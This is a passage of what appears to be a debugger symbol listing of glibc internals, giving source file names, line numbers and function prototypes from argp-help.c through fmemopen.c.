121: void __argp_fmtstream_update(argp_fmtstream_t);
57: argp_fmtstream_t __argp_make_fmtstream(FILE *, size_t, size_t, ssize_t);

File argp-help.c:
1753: void __argp_error(const struct argp_state *, const char *, …);
1813: void __argp_failure(const struct argp_state *, int, int, const char *, …);
1688: void __argp_help(const struct argp *, FILE *, unsigned int, char *);
1726: void __argp_state_help(const struct argp_state *, FILE *, unsigned int);
1547: static void _help(const struct argp *, const struct argp_state *, FILE *, unsigned int, char *);
1235: static int add_argless_short_opt(const struct argp_option *, const struct argp_option *, const char *, void *);
938: static void arg(const char *, const char *, const char *, argp_fmtstream_t, const struct argp_option *, const struct argp_option *);
1374: static size_t argp_args_levels(const struct argp *, const struct argp *);
1395: static int argp_args_usage(const struct argp *, const struct argp_state *, char **, int, argp_fmtstream_t);
1457: static int argp_doc(const struct argp *, const struct argp_state *, int, int, int, argp_fmtstream_t);
1351: static struct hol *argp_hol(const struct argp *, struct hol_cluster *);
712: static int canon_doc_option(const char **);
1040: static void comma(unsigned int, struct pentry_state *);
987: static const char *filter_doc(const char *, int, const struct argp *, const struct argp_state *);
803: static int hol_entry_qcmp(const void *, const void *);
544: static int hol_entry_short_iterate(const struct hol_entry *, int (*)(const struct argp_option *, const struct argp_option *, const char *, void *), const char *, void *);
623: static struct hol_entry *hol_find_entry(const char *, struct hol *, struct hol *);
523: static void hol_free(struct hol *);
1311: static void hol_usage(struct hol *, argp_fmtstream_t);
915: static void indent_to(argp_fmtstream_t, unsigned int);
1007: static void print_header(const char *, const struct argp *, struct pentry_state *);
925: static void space(argp_fmtstream_t, size_t);
594: static int until_short(const struct argp_option *, const struct argp_option *, const char *, void *);
1249: static int usage_argful_short_opt(const struct argp_option *, const struct argp_option *, const char *, void *);

File argp-parse.c:
934: void *__argp_input(const struct argp *, const struct argp_state *);
881: error_t __argp_parse(const struct argp *, int, char **, unsigned int, int *, void *);
111: static error_t argp_default_parser(int, char *, struct argp_state *);
172: static error_t argp_version_parser(int, char *, struct argp_state *);
454: static void calc_sizes(const struct argp *, struct parser_sizes *);
313: static struct group *convert_options(const struct argp *, struct group *, unsigned int, struct group *, struct parser_convert_state *);

File argz-addsep.c:
26: error_t __argz_add_sep(char **, size_t *, const char *, int);

File argz-append.c:
45: error_t __argz_add(char **, size_t *, const char *);
26: error_t __argz_append(char **, size_t *, const char *, size_t);

File argz-count.c:
25: size_t __GI___argz_count(const char *, size_t);

File argz-create.c:
28: error_t __argz_create(char * const *, char **, size_t *);

File argz-ctsep.c:
26: error_t __argz_create_sep(const char *, int, char **, size_t *);

File argz-delete.c:
26: void __GI_argz_delete(char **, size_t *, char *);

File argz-extract.c:
25: void __argz_extract(const char *, size_t, char **);

File argz-insert.c:
31: error_t __argz_insert(char **, size_t *, char *, const char *);

File argz-next.c:
24: char *__GI___argz_next(const char *, size_t, const char *);

File argz-replace.c:
50: error_t __argz_replace(char **, size_t *, const char *, const char *, unsigned int *);
28: static void str_append(char **, size_t *, const char *, const size_t);

File argz-stringify.c:
26: void __GI___argz_stringify(char *, size_t, int);

File asctime.c:
85: char *__GI_asctime(const struct tm *);
75: char *__asctime_r(const struct tm *, char *);
34: static char *asctime_internal(const struct tm *, char *, size_t);

File asprintf.c:
25: int ___asprintf(char **, const char *, …);

File asprintf_chk.c:
25: int __asprintf_chk(char **, int, const char *, …);

File assert-perr.c:
28: void __GI___assert_perror_fail(int, const char *, unsigned int, const char *);

File assert.c:
98: void __GI___assert_fail(const char *, const char *, unsigned int, const char *);
47: void __assert_fail_base(const char *, const char *, const char *, unsigned int, const char *);

File atof.c:
25: double atof(const char *);

File atoi.c:
25: int __GI_atoi(const char *);

File atol.c:
25: long atol(const char *);

File atoll.c:
25: long long atoll(const char *);

File auth_des.c:
101: AUTH *__GI_authdes_create(const char *, u_int, struct sockaddr *, des_block *);
125: AUTH *__GI_authdes_pk_create(const char *, netobj *, u_int, struct sockaddr *, des_block *);
431: static void authdes_destroy(AUTH *);
239: static bool_t authdes_marshal(AUTH *, XDR *);
228: static void authdes_nextverf(AUTH *);
399: static bool_t authdes_refresh(AUTH *);
343: static bool_t authdes_validate(AUTH *, struct opaque_auth *);

File auth_none.c:
94: AUTH *__GI_authnone_create(void);
74: static void authnone_create_once(void);
102: static bool_t authnone_marshal(AUTH *, XDR *);
126: static bool_t authnone_refresh(AUTH *);
120: static bool_t authnone_validate(AUTH *, struct opaque_auth *);
115: static void authnone_verf(AUTH *);

File auth_unix.c:
94: AUTH *__GI_authunix_create(char *, uid_t, gid_t, int, gid_t *);
160: AUTH *__GI_authunix_create_default(void);
318: static void authunix_destroy(AUTH *);
234: static bool_t authunix_marshal(AUTH *, XDR *);
228: static void authunix_nextverf(AUTH *);
275: static bool_t authunix_refresh(AUTH *);
242: static bool_t authunix_validate(AUTH *, struct opaque_auth *);
340: static bool_t marshal_new_auth(AUTH *);

File authdes_prot.c:
44: bool_t __GI_xdr_authdes_cred(XDR *, struct authdes_cred *);
71: bool_t __GI_xdr_authdes_verf(XDR *, struct authdes_verf *);

File authuxprot.c:
47: bool_t __GI_xdr_authunix_parms(XDR *, struct authunix_parms *);

File backtrace.c:
96: int __GI___backtrace(void **, int);
72: static _Unwind_Reason_Code backtrace_helper(struct _Unwind_Context *, void *);
44: static _Unwind_Word dummy_getcfa(struct _Unwind_Context *);
125: static void free_mem(void);
51: static void init(void);

File backtracesyms.c:
37: char **__backtrace_symbols(void * const *, int);

File backtracesymsfd.c:
36: void __GI___backtrace_symbols_fd(void * const *, int, int);

File basename.c:
22: char *__GI___basename(const char *);

File bindrsvprt.c:
131: int __GI_bindresvport(int, struct sockaddr_in *);

File bindtextdom.c:
327: char *__bind_textdomain_codeset(const char *, const char *);
318: char *__bindtextdomain(const char *, const char *);
75: static void set_binding_values(const char *, const char **, const char **);

File bsd-getpgrp.c:
28: pid_t __bsd_getpgrp(pid_t);

File btowc.c:
32: wint_t __btowc(int);

File c16rtomb.c:
27: size_t c16rtomb(char *, char16_t, mbstate_t *);

File c32rtomb.c:
27: size_t c32rtomb(char *, char32_t, mbstate_t *);

File canonicalize.c:
43: char *__GI___realpath(const char *, char *);
243: char *__canonicalize_file_name(const char *);
228: char *__old_realpath(const char *, char *);

File catgets.c:
120: int catclose(nl_catd);
89: char *catgets(nl_catd, int, int, const char *);
32: nl_catd catopen(const char *, int);

File cfmakeraw.c:
22: void cfmakeraw(struct termios *);

File cfsetspeed.c:
140: int cfsetspeed(struct termios *, speed_t);

File check_fds.c:
87: void __libc_check_standard_fds(void);
40: static void check_one_fd(int, int);

File chflags.c:
27: int chflags(const char *, unsigned long);

File chk_fail.c:
26: void __GI___chk_fail(void);

File clearerr.c:
22: void clearerr(FILE *);

File clearerr_u.c:
22: void clearerr_unlocked(FILE *);

File clnt_gen.c:
46: CLIENT *__GI_clnt_create(const char *, u_long, u_long, const char *);

File clnt_perr.c:
311: void __GI_clnt_pcreateerror(const char *);
263: void __GI_clnt_perrno(enum clnt_stat);
130: void __GI_clnt_perror(CLIENT *, const char *);
274: char *__GI_clnt_spcreateerror(const char *);
247: char *__GI_clnt_sperrno(enum clnt_stat);
54: char *__GI_clnt_sperror(CLIENT *, const char *);
388: static void free_mem(void);

File clnt_raw.c:
86: CLIENT *__GI_clntraw_create(u_long, u_long);
233: static void clntraw_abort(void);
132: static enum clnt_stat clntraw_call(CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval);
238: static bool_t clntraw_control(CLIENT *, int, char *);
244: static void clntraw_destroy(CLIENT *);
217: static bool_t clntraw_freeres(CLIENT *, xdrproc_t, caddr_t);
211: static void clntraw_geterr(CLIENT *, struct rpc_err *);

File clnt_simp.c:
55: int __GI_callrpc(const char *, u_long, u_long, u_long, xdrproc_t, const char *, xdrproc_t, char *);
123: void __rpc_thread_clnt_cleanup(void);

File clnt_tcp.c:
112: CLIENT *__GI_clnttcp_create(struct sockaddr_in *, u_long, u_long, int *, u_int, u_int);
350: static void clnttcp_abort(void);
228: static enum clnt_stat clnttcp_call(CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval);
355: static bool_t clnttcp_control(CLIENT *, int, char *);
447: static void clnttcp_destroy(CLIENT *);
340: static bool_t clnttcp_freeres(CLIENT *, xdrproc_t, caddr_t);
331: static void clnttcp_geterr(CLIENT *, struct rpc_err *);
467: static int readtcp(char *, char *, int);
515: static int writetcp(char *, char *, int);

File clnt_udp.c:
123: CLIENT *__GI___libc_clntudp_bufcreate(struct sockaddr_in *, u_long, u_long, struct timeval, int *, u_int, u_int, int);
217: CLIENT *__GI_clntudp_bufcreate(struct sockaddr_in *, u_long, u_long, struct timeval, int *, u_int, u_int);
227: CLIENT *__GI_clntudp_create(struct sockaddr_in *, u_long, u_long, struct timeval, int *);
537: static void clntudp_abort(void);
264: static enum clnt_stat clntudp_call(CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval);
542: static bool_t clntudp_control(CLIENT *, int, char *);
635: static void clntudp_destroy(CLIENT *);
527: static bool_t clntudp_freeres(CLIENT *, xdrproc_t, caddr_t);
518: static void clntudp_geterr(CLIENT *, struct rpc_err *);

File clnt_unix.c:
113: CLIENT *__GI_clntunix_create(struct sockaddr_un *, u_long, u_long, int *, u_int, u_int);
481: static int __msgwrite(int, void *, size_t);
326: static void clntunix_abort(void);
207: static enum clnt_stat clntunix_call(CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval);
331: static bool_t clntunix_control(CLIENT *, int, char *);
421: static void clntunix_destroy(CLIENT *);
316: static bool_t clntunix_freeres(CLIENT *, xdrproc_t, caddr_t);
308: static void clntunix_geterr(CLIENT *, struct rpc_err *);
535: static int readunix(char *, char *, int);
583: static int writeunix(char *, char *, int);

File cmp.c:
30: int __mpn_cmp(mp_srcptr, mp_srcptr, mp_size_t);

File coll-lookup.c:
23: int32_t __collidx_table_lookup(const char *, uint32_t);
53: uint32_t __collseq_table_lookup(const char *, uint32_t);

File compat-initgroups.c:
13: static enum nss_status compat_call(service_user *, const char *, gid_t, long *, long *, gid_t **, long, int *);

File compat-lookup.c:
31: int __nss_passwd_lookup(service_user **, const char *, void **);

File confstr.c:
32: size_t __GI___confstr(int, char *, size_t);

File confstr_chk.c:
23: size_t __confstr_chk(int, char *, size_t, size_t);

File create_xid.c:
33: unsigned long _create_xid(void);

File ctime.c:
23: char *ctime(const __time_t *);

File ctime_r.c:
25: char *ctime_r(const __time_t *, char *);

File ctype-c99.c:
23: int isblank(int);

File ctype-c99_l.c:
23: int __isblank_l(int, locale_t);

File ctype-extn.c:
29: int _tolower(int);
34: int _toupper(int);
47: int isascii(int);
40: int toascii(int);

File ctype-info.c:
28: void __GI___ctype_init(void);

File ctype.c:
44: int __GI_tolower(int);
51: int __GI_toupper(int);
26: int isalnum(int);
27: int isalpha(int);
28: int iscntrl(int);
29: int isdigit(int);
31: int isgraph(int);
30: int islower(int);
32: int isprint(int);
33: int ispunct(int);
34: int isspace(int);
35: int isupper(int);
36: int isxdigit(int);

File ctype_l.c:
27: int __isalnum_l(int, locale_t);
28: int __isalpha_l(int, locale_t);
29: int __iscntrl_l(int, locale_t);
30: int __isdigit_l(int, locale_t);
32: int __isgraph_l(int, locale_t);
31: int __islower_l(int, locale_t);
33: int __isprint_l(int, locale_t);
34: int __ispunct_l(int, locale_t);
35: int __isspace_l(int, locale_t);
36: int __isupper_l(int, locale_t);
37: int __isxdigit_l(int, locale_t);
40: int __tolower_l(int, locale_t);
47: int __toupper_l(int, locale_t);

File cxa_at_quick_exit.c:
27: int __cxa_at_quick_exit(void (*)(void *), void *);

File cxa_atexit.c:
68: int __GI___cxa_atexit(void (*)(void *), void *, void *);
34: int __internal_atexit(void (*)(void *), void *, void *, struct exit_function_list **);
81: struct exit_function *__new_exitfn(struct exit_function_list **);

File cxa_finalize.c:
29: void __cxa_finalize(void *);

File cxa_thread_atexit_impl.c:
144: void __GI___call_tls_dtors(void);
99: int __cxa_thread_atexit_impl(dtor_func, void *, void *);

File daemon.c:
44: int daemon(int, int);

File dcgettext.c:
45: char *__GI___dcgettext(const char *, const char *, int);

File dcigettext.c:
483: char *__dcigettext(const char *, const char *, const char *, int, unsigned long, int);
873: char *_nl_find_msg(struct loaded_l10nfile *, struct binding *, const char *, int, size_t *);
1667: static void free_mem(void);
1399: static char *plural_lookup(unsigned long, const char *, size_t, struct loaded_l10nfile *);
281: static int transcmp(const void *, const void *);

File dcngettext.c:
45: char *__dcngettext(const char *, const char *, const char *, unsigned long, int);

File deadline.c:
28: struct deadline_current_time __deadline_current_time(void);
52: struct deadline __deadline_from_timeval(struct deadline_current_time, struct timeval);
83: int __deadline_to_ms(struct deadline_current_time, struct deadline);

File des_crypt.c:
96: int __GI_cbc_crypt(char *, char *, unsigned int, unsigned int, char *);
114: int __GI_ecb_crypt(char *, char *, unsigned int, unsigned int);

File des_impl.c:
516: int _des_crypt(char *, unsigned int, struct desparams *);
440: static void des_encrypt(unsigned long *, unsigned long *, int);

File des_soft.c:
64: void __GI_des_setparity(char *);

File dgettext.c:
48: char *__dgettext(const char *, const char *);

File difftime.c:
102: double __difftime(__time_t, __time_t);

File digits_dots.c:
36: int __GI___nss_hostname_digits_dots(const char *, struct hostent *, char **, size_t *, size_t, struct hostent **, enum nss_status *, int, int *);
62: int __nss_hostname_digits_dots_context(struct resolv_context *, const char *, struct hostent *, char **, size_t *, size_t, struct hostent **, enum nss_status *, int, int *);

File dirname.c:
25: char *dirname(char *);

File div.c:
54: div_t div(int, int);

File divmod_1.c:
43: mp_limb_t __mpn_divmod_1(mp_ptr, mp_srcptr, mp_size_t, mp_limb_t);

File divrem.c:
43: mp_limb_t __mpn_divrem(mp_ptr, mp_size_t, mp_ptr, mp_size_t, mp_srcptr, mp_size_t);

File dl-addr-obj.c:
64: int _dl_addr_inside_object(struct link_map *, const Elf64_Addr);

File dl-addr.c:
125: int __GI__dl_addr(const void *, Dl_info *, struct link_map **, const Elf64_Sym **);

File dl-cache.c:
140: int _dl_cache_libcmp(const char *, const char *);
186: char *_dl_load_cache_lookup(const char *);
329: void _dl_unload_cache(void);

File dl-close.c:
806: void _dl_close(void *);
111: void _dl_close_worker(struct link_map *, _Bool);
49: static _Bool remove_slotinfo(size_t, struct dtv_slotinfo_list *, size_t, _Bool);

File dl-conflict.c:
31: void _dl_resolve_conflicts(struct link_map *, Elf64_Rela *, Elf64_Rela *);

File dl-debug.c:
72: void __GI__dl_debug_state(void);
45: struct r_debug *_dl_debug_initialize(Elf64_Addr, Lmid_t);

File dl-deps.c:
156: void _dl_map_object_deps(struct link_map *, struct link_map **, unsigned int, int, int);
72: static ptrdiff_t _dl_build_local_scope(struct link_map **, struct link_map *);
60: static void openaux(void *);

File dl-environ.c:
27: char *_dl_next_ld_env_entry(char ***);
56: int unsetenv(const char *);

File dl-error-skeleton.c:
211: int __GI__dl_catch_error(const char **, const char **, _Bool *, void (*)(void *), void *);
173: int __GI__dl_catch_exception(struct dl_exception *, void (*)(void *), void *);
107: void __GI__dl_signal_error(int, const char *, const char *, const char *);
89: void __GI__dl_signal_exception(int, struct dl_exception *, const char *);
211: int _dl_catch_error(const char **, const char **, _Bool *, void (*)(void *), void *);
173: int _dl_catch_exception(struct dl_exception *, void (*)(void *), void *);
225: void _dl_receive_error(receiver_fct, void (*)(void *), void *);
152: void _dl_signal_cerror(int, const char *, const char *, const char *);
131: void _dl_signal_cexception(int, struct dl_exception *, const char *);
107: void _dl_signal_error(int, const char *, const char *, const char *);
89: void _dl_signal_exception(int, struct dl_exception *, const char *);
74: static void fatal_error(int, const char *, const char *, const char *);

File dl-exception.c:
71: void __GI__dl_exception_create(struct dl_exception *, const char *, const char *);
94: void __GI__dl_exception_create_format(struct dl_exception *, const char *, const char *, …);
236: void __GI__dl_exception_free(struct dl_exception *);
45: static void length_mismatch(void);

File dl-fini.c:
29: void _dl_fini(void);

File dl-hwcaps.c:
40: const struct r_strlenpair *_dl_important_hwcaps(const char *, size_t, size_t *, size_t *);

File dl-init.c:
78: void _dl_init(struct link_map *, int, char **, char **);
28: static void call_init(struct link_map *, int, char **, char **);

File dl-iteratephdr.c:
32: int __GI___dl_iterate_phdr(int (*)(struct dl_phdr_info *, size_t, void *), void *);

File dl-libc.c:
286: int __GI___libc_dlclose(void *);
185: void *__GI___libc_dlopen_mode(const char *, int);
237: void *__GI___libc_dlsym(void *, const char *);
256: void *__GI___libc_dlvsym(void *, const char *, const char *);
40: static int dlerror_run(void (*)(void *), void *);
124: static void do_dlclose(void *);
92: static void do_dlopen(void *);
102: static void do_dlsym(void *);
112: static void do_dlvsym(void *);
325: static void free_mem(void);
298: static _Bool free_slotinfo(struct dtv_slotinfo_list **);

File dl-load.c:
230: size_t _dl_dst_count(const char *);
268: char *_dl_dst_substitute(struct link_map *, const char *, char *);
680: void _dl_init_paths(const char *);
2155: struct link_map *_dl_map_object(struct link_map *, const char *, int, int, int, Lmid_t);
2511: void _dl_rtld_di_serinfo(struct link_map *, Dl_serinfo *, _Bool);
862: static struct link_map *_dl_map_object_from_fd(const char *, const char *, int, struct filebuf *, char *, struct link_map *, int, int, void **, Lmid_t);
411: static void add_name_to_object(const char *, struct link_map *);
2479: static void add_path(struct add_path_state *, const struct r_search_path_struct *, unsigned int);
654: static _Bool cache_rpath(struct link_map *, struct r_search_path_struct *, int, const char *);
555: static _Bool decompose_rpath(const char *, struct link_map *, const char *, struct r_search_path_struct *, struct r_search_path_struct *);
377: static char *expand_dynamic_string_token(struct link_map *, const char *);
445: static struct r_search_path_elem **fillin_rpath(char *, struct r_search_path_elem **, const char *, const char *, const char *, struct link_map *);
194: static size_t is_dst(const char *, const char *);
121: static _Bool is_trusted_path_normalize(const char *, size_t);
833: static void lose(int, int, const char *, char *, struct link_map *, const char *, struct r_debug *, Lmid_t);
2005: static int open_path(const char *, size_t, int, struct r_search_path_struct *, char **, struct filebuf *, struct link_map *, int, _Bool *);
1658: static int open_verify(const char *, struct filebuf *, struct link_map *, int, int, _Bool *, _Bool, int);

File dl-lookup.c:
786: lookup_t _dl_lookup_symbol_x(const char *, struct link_map *, const Elf64_Sym **, struct r_scope_elem **, const struct r_found_version *, int, int, struct link_map *);
936: void _dl_setup_hash(struct link_map *);
64: static const Elf64_Sym *check_match(const char * const, const Elf64_Sym * const, const struct r_found_version * const, const int, const int, const Elf64_Sym * const, const Elf_Symndx, const char * const, const struct link_map * const, const Elf64_Sym ** const, int * const);
334: static int do_lookup_x(const char *, uint_fast32_t, unsigned long *, const Elf64_Sym *, struct sym_val *, struct r_scope_elem *, size_t, const struct r_found_version * const, int, struct link_map *, int, struct link_map *);

File dl-minimal.c:
207: void __GI___assert_fail(const char *, const char *, unsigned int, const char *);
219: void __GI___assert_perror_fail(int, const char *, unsigned int, const char *);
195: void __GI___chk_fail(void);
187: void __GI___libc_fatal(const char *);
138: int __sigjmp_save(struct __jmp_buf_tag *, int);
149: char *__strerror_r(int, char *, size_t);
261: char *__strsep(char **, const char *);
238: char *_itoa(unsigned long long, char *, unsigned int, int);
91: void *calloc(size_t, size_t);
108: void free(void *);
48: void *malloc(size_t);
122: void *realloc(void *, size_t);

File dl-misc.c:
245: void _dl_debug_printf(const char *, …);
257: void _dl_debug_printf_c(const char *, …);
269: void _dl_dprintf(int, const char *, …);
299: unsigned long _dl_higher_prime_number(unsigned long);
281: int _dl_name_match_p(const char *, const struct link_map *);
366: uint64_t _dl_strtoul(const char *, char **);
43: void *_dl_sysdep_read_whole_file(const char *, size_t *, int);
78: static void _dl_debug_vdprintf(int, int, const char *, struct __va_list_tag *);

File dl-object.c:
30: void _dl_add_to_namespace_list(struct link_map *, Lmid_t);
57: struct link_map *_dl_new_object(char *, const char *, int, struct link_map *, int, Lmid_t);

File dl-open.c:
173: struct link_map *__GI__dl_find_dso_for_object(const Elf64_Addr);
540: void *_dl_open(const char *, int, const void *, Lmid_t, int, char **, char **);
645: void _dl_show_scope(struct link_map *, int);
61: static int add_to_global(struct link_map *);
192: static void dl_open_worker(void *);

File dl-profile.c:
490: void __GI__dl_mcount(Elf64_Addr, Elf64_Addr);
184: void _dl_start_profile(void);

File dl-profstub.c:
36: void __GI__dl_mcount_wrapper_check(void *);
29: void _dl_mcount_wrapper(void *);

File dl-reloc.c:
115: void _dl_allocate_static_tls(struct link_map *);
129: void _dl_nothread_init_static_tls(struct link_map *);
307: void _dl_protect_relro(struct link_map *);
327: void _dl_reloc_bad_type(struct link_map *, unsigned int, int);
146: void _dl_relocate_object(struct link_map *, struct r_scope_elem **, int, int);
48: int _dl_try_allocate_static_tls(struct link_map *);

File dl-scope.c:
25: int _dl_scope_free(void *);

File dl-sort-maps.c:
26: void _dl_sort_maps(struct link_map **, unsigned int, char *, _Bool);

File dl-sym.c:
252: void *_dl_sym(void *, const char *, void *);
236: void *_dl_vsym(void *, const char *, const char *, void *);
75: static void call_dl_lookup(void *);
85: static void *do_sym(void *, const char *, void *, struct r_found_version *, int);

File dl-tunables.c:
369: void __GI___tunable_get_val(tunable_id_t, void *, tunable_callback_t);
288: void __GI___tunables_init(char **);
161: void __tunable_set_val(tunable_id_t, void *);
105: static void do_tunable_update_val(tunable_t *, const void *);
142: static void tunable_initialize(tunable_t *, const char *);

File dl-version.c:
361: int _dl_check_all_versions(struct link_map *, int, int);
155: int _dl_check_map_versions(struct link_map *, int, int);

File dngettext.c:
48: char *__dngettext(const char *, const char *, const char *, unsigned long);

File dprintf.c:
24: int __GI___dprintf(int, const char *, …);

File dprintf_chk.c:
24: int __dprintf_chk(int, int, const char *, …);

File drand48-iter.c:
30: int __drand48_iterate(unsigned short *, struct drand48_data *);

File drand48.c:
23: double drand48(void);

File drand48_r.c:
24: int drand48_r(struct drand48_data *, double *);

File duplocale.c:
33: locale_t __duplocale(locale_t);

File dynarray_at_failure.c:
23: void __GI___libc_dynarray_at_failure(size_t, size_t);

File dynarray_emplace_enlarge.c:
25: _Bool __GI___libc_dynarray_emplace_enlarge(struct dynarray_header *, void *, size_t);

File dynarray_finalize.c:
24: _Bool __GI___libc_dynarray_finalize(struct dynarray_header *, void *, size_t, struct dynarray_finalize_result *);

File dynarray_resize.c:
25: _Bool __GI___libc_dynarray_resize(struct dynarray_header *, size_t, void *, size_t);

File dynarray_resize_clear.c:
24: _Bool __GI___libc_dynarray_resize_clear(struct dynarray_header *, size_t, void *, size_t);

File dysize.c:
21: int dysize(int);

File efgcvt.c:
89: char *__ecvt(double, int, int *, int *);
67: char *__fcvt(double, int, int *, int *);
99: char *__gcvt(double, int, char *);
89: char *__qecvt(long double, int, int *, int *);
67: char *__qfcvt(long double, int, int *, int *);
99: char *__qgcvt(long double, int, char *);

File efgcvt_r.c:
169: int __GI___ecvt_r(double, int, int *, int *, char *, size_t);
74: int __GI___fcvt_r(double, int, int *, int *, char *, size_t);
169: int __GI___qecvt_r(long double, int, int *, int *, char *, size_t);
74: int __GI___qfcvt_r(long double, int, int *, int *, char *, size_t);

File endutxent.c:
23: void endutxent(void);

File envz.c:
32: char *__GI_envz_entry(const char *, size_t, const char *);
78: void __GI_envz_remove(char **, size_t *, const char *);
93: error_t envz_add(char **, size_t *, const char *, const char *);
61: char *envz_get(const char *, size_t, const char *);
130: error_t envz_merge(char **, size_t *, const char *, size_t, int);
157: void envz_strip(char **, size_t *);

File era.c:
142: struct era_entry *_nl_get_era_entry(const struct tm *, struct __locale_data *);
168: struct era_entry *_nl_select_era_entry(int, struct __locale_data *);
39: static void _nl_init_era_entries(struct __locale_data *);

File erand48.c:
23: double erand48(unsigned short *);

File erand48_r.c:
25: int __erand48_r(unsigned short *, struct drand48_data *, double *);

File err.c:
90: void __GI_verr(int, const char *, struct __va_list_tag *);
98: void __GI_verrx(int, const char *, struct __va_list_tag *);
53: void __GI_vwarn(const char *, struct __va_list_tag *);
41: void __GI_vwarnx(const char *, struct __va_list_tag *);
76: void __GI_warn(const char *, …);
83: void __GI_warnx(const char *, …);
106: void err(int, const char *, …);
112: void errx(int, const char *, …);

File errno-loc.c:
24: int *__GI___errno_location(void);

File error.c:
235: void __error(int, int, const char *, …);
279: void __error_at_line(int, int, const char *, unsigned int, const char *, …);
203: static void error_tail(int, int, const char *, struct __va_list_tag *);
172: static void print_errno_message(int);

File ether_aton.c:
23: struct ether_addr *ether_aton(const char *);

File ether_aton_r.c:
26: struct ether_addr *__GI_ether_aton_r(const char *, struct ether_addr *);

File ether_hton.c:
31: int ether_hostton(const char *, struct ether_addr *);

File ether_line.c:
26: int ether_line(const char *, struct ether_addr *, char *);

File ether_ntoa.c:
24: char *ether_ntoa(const struct ether_addr *);

File ether_ntoa_r.c:
25: char *__GI_ether_ntoa_r(const struct ether_addr *, char *);

File ether_ntoh.c:
32: int ether_ntohost(char *, const struct ether_addr *);

File eval-plural.h:
24: static unsigned long plural_eval(const struct expression *, unsigned long);

File execl.c:
26: int __GI_execl(const char *, const char *, …);

File execle.c:
26: int __GI_execle(const char *, const char *, …);

File execlp.c:
27: int __GI_execlp(const char *, const char *, …);

File execv.c:
23: int execv(const char *, char * const *);

File execvp.c:
24: int __GI_execvp(const char *, char * const *);

File execvpe.c:
188: int __execvpe(const char *, char * const *, char * const *);
196: int __execvpex(const char *, char * const *, char * const *);
71: static int __execvpe_common(const char *, char * const *, char * const *, _Bool);
39: static void maybe_script_execute(const char *, char * const *, char * const *);

File exit.c:
137: void __GI_exit(int);
38: void __run_exit_handlers(int, struct exit_function_list **, _Bool, _Bool);

File explicit_bzero.c:
33: void explicit_bzero(void *, size_t);

File explicit_bzero_chk.c:
30: void __explicit_bzero_chk(void *, size_t, size_t);

File explodename.c:
54: int _nl_explode_name(char *, const char **, const char **, const char **, const char **, const char **);

File fattach.c:
22: int fattach(int, const char *);

File fchflags.c:
27: int fchflags(int, unsigned long);

File fcloseall.c:
31: int __fcloseall(void);

File fdelt_chk.c:
22: long __fdelt_chk(long);

File fdetach.c:
22: int fdetach(const char *);

File feof.c:
31: int _IO_feof(FILE *);

File feof_u.c:
33: int __feof_unlocked(FILE *);

File ferror.c:
31: int _IO_ferror(FILE *);

File ferror_u.c:
33: int __ferror_unlocked(FILE *);

File fgetgrent.c:
32: struct group *fgetgrent(FILE *);

File fgetgrent_r.c:
37: int __GI__nss_files_parse_grent(char *, struct group *, struct parser_data *, size_t, int *);
59: int __fgetgrent_r(FILE *, struct group *, char *, size_t, struct group **);

File fgetpwent.c:
32: struct passwd *fgetpwent(FILE *);

File fgetpwent_r.c:
34: int __GI__nss_files_parse_pwent(char *, struct passwd *, struct parser_data *, size_t, int *);
72: int __fgetpwent_r(FILE *, struct passwd *, char *, size_t, struct passwd **);

File fgets_chk.c:
32: char *__fgets_chk(char *, size_t, int, FILE *);

File fgets_u_chk.c:
32: char *__fgets_unlocked_chk(char *, size_t, int, FILE *);

File fgetsgent.c:
35: struct sgrp *fgetsgent(FILE *);

File fgetsgent_r.c:
36: int __fgetsgent_r(FILE *, struct sgrp *, char *, size_t, struct sgrp **);

File fgetspent.c:
35: struct spwd *fgetspent(FILE *);

File fgetspent_r.c:
39: int __fgetspent_r(FILE *, struct spwd *, char *, size_t, struct spwd **);

File fgetws_chk.c:
23: wchar_t *__fgetws_chk(wchar_t *, size_t, int, FILE *);

File fgetws_u_chk.c:
32: wchar_t *__fgetws_unlocked_chk(wchar_t *, size_t, int, FILE *);

File filedoalloc.c:
77: int __GI__IO_file_doallocate(FILE *);

File fileno.c:
31: int __GI___fileno(FILE *);

File fileops.c:
1160: int _IO_file_close_mmap(FILE *);
1066: off64_t _IO_file_seekoff_mmap(FILE *, off64_t, int, int);
403: FILE *_IO_file_setbuf_mmap(FILE *, char *, ssize_t);
728: int _IO_file_underflow_maybe_mmap(FILE *);
649: int _IO_file_underflow_mmap(FILE *);
430: int _IO_new_do_write(FILE *, const char *, size_t);
368: FILE *_IO_new_file_attach(FILE *, int);
128: int _IO_new_file_close_it(FILE *);
168: void _IO_new_file_finish(FILE *, int);
212: FILE *_IO_new_file_fopen(FILE *, const char *, const char *, int);
121: void _IO_new_file_init(struct _IO_FILE_plus *);
106: void _IO_new_file_init_internal(struct _IO_FILE_plus *);
738: int _IO_new_file_overflow(FILE *, int);
907: off64_t _IO_new_file_seekoff(FILE *, off64_t, int, int);
388: FILE *_IO_new_file_setbuf(FILE *, char *, ssize_t);
799: int _IO_new_file_sync(FILE *);
468: int _IO_new_file_underflow(FILE *);
1180: ssize_t _IO_new_file_write(FILE *, const void *, ssize_t);
1204: size_t _IO_new_file_xsputn(FILE *, const void *, size_t);
1171: int __GI__IO_file_close(FILE *);
181: FILE *__GI__IO_file_open(FILE *, const char *, int, int, int, int);
1137: ssize_t __GI__IO_file_read(FILE *, void *, ssize_t);
1146: off64_t __GI__IO_file_seek(FILE *, off64_t, int);
1153: int __GI__IO_file_stat(FILE *, void *);
1279: size_t __GI__IO_file_xsgetn(FILE *, void *, size_t);
1121: static off64_t _IO_file_seekoff_maybe_mmap(FILE *, off64_t, int, int);
827: static int _IO_file_sync_mmap(FILE *);
1417: static size_t _IO_file_xsgetn_maybe_mmap(FILE *, void *, size_t);
1372: static size_t _IO_file_xsgetn_mmap(FILE *, void *, size_t);
666: static void decide_maybe_mmap(FILE *);
553: static int mmap_remap_check(FILE *);
438: static size_t new_do_write(FILE *, const char *, size_t);

File finddomain.c:
58: struct loaded_l10nfile *_nl_find_domain(const char *, char *, const char *, struct binding *);
189: void _nl_finddomain_subfreeres(void);

File findlocale.c:
102: struct __locale_data *_nl_find_locale(const char *, size_t, int, const char **);
334: void _nl_remove_locale(int, struct __locale_data *);

File fmemopen.c:
149: FILE *__GI___fmemopen(void *, size_t, const char *);
136: static int fmemopen_close(void *);
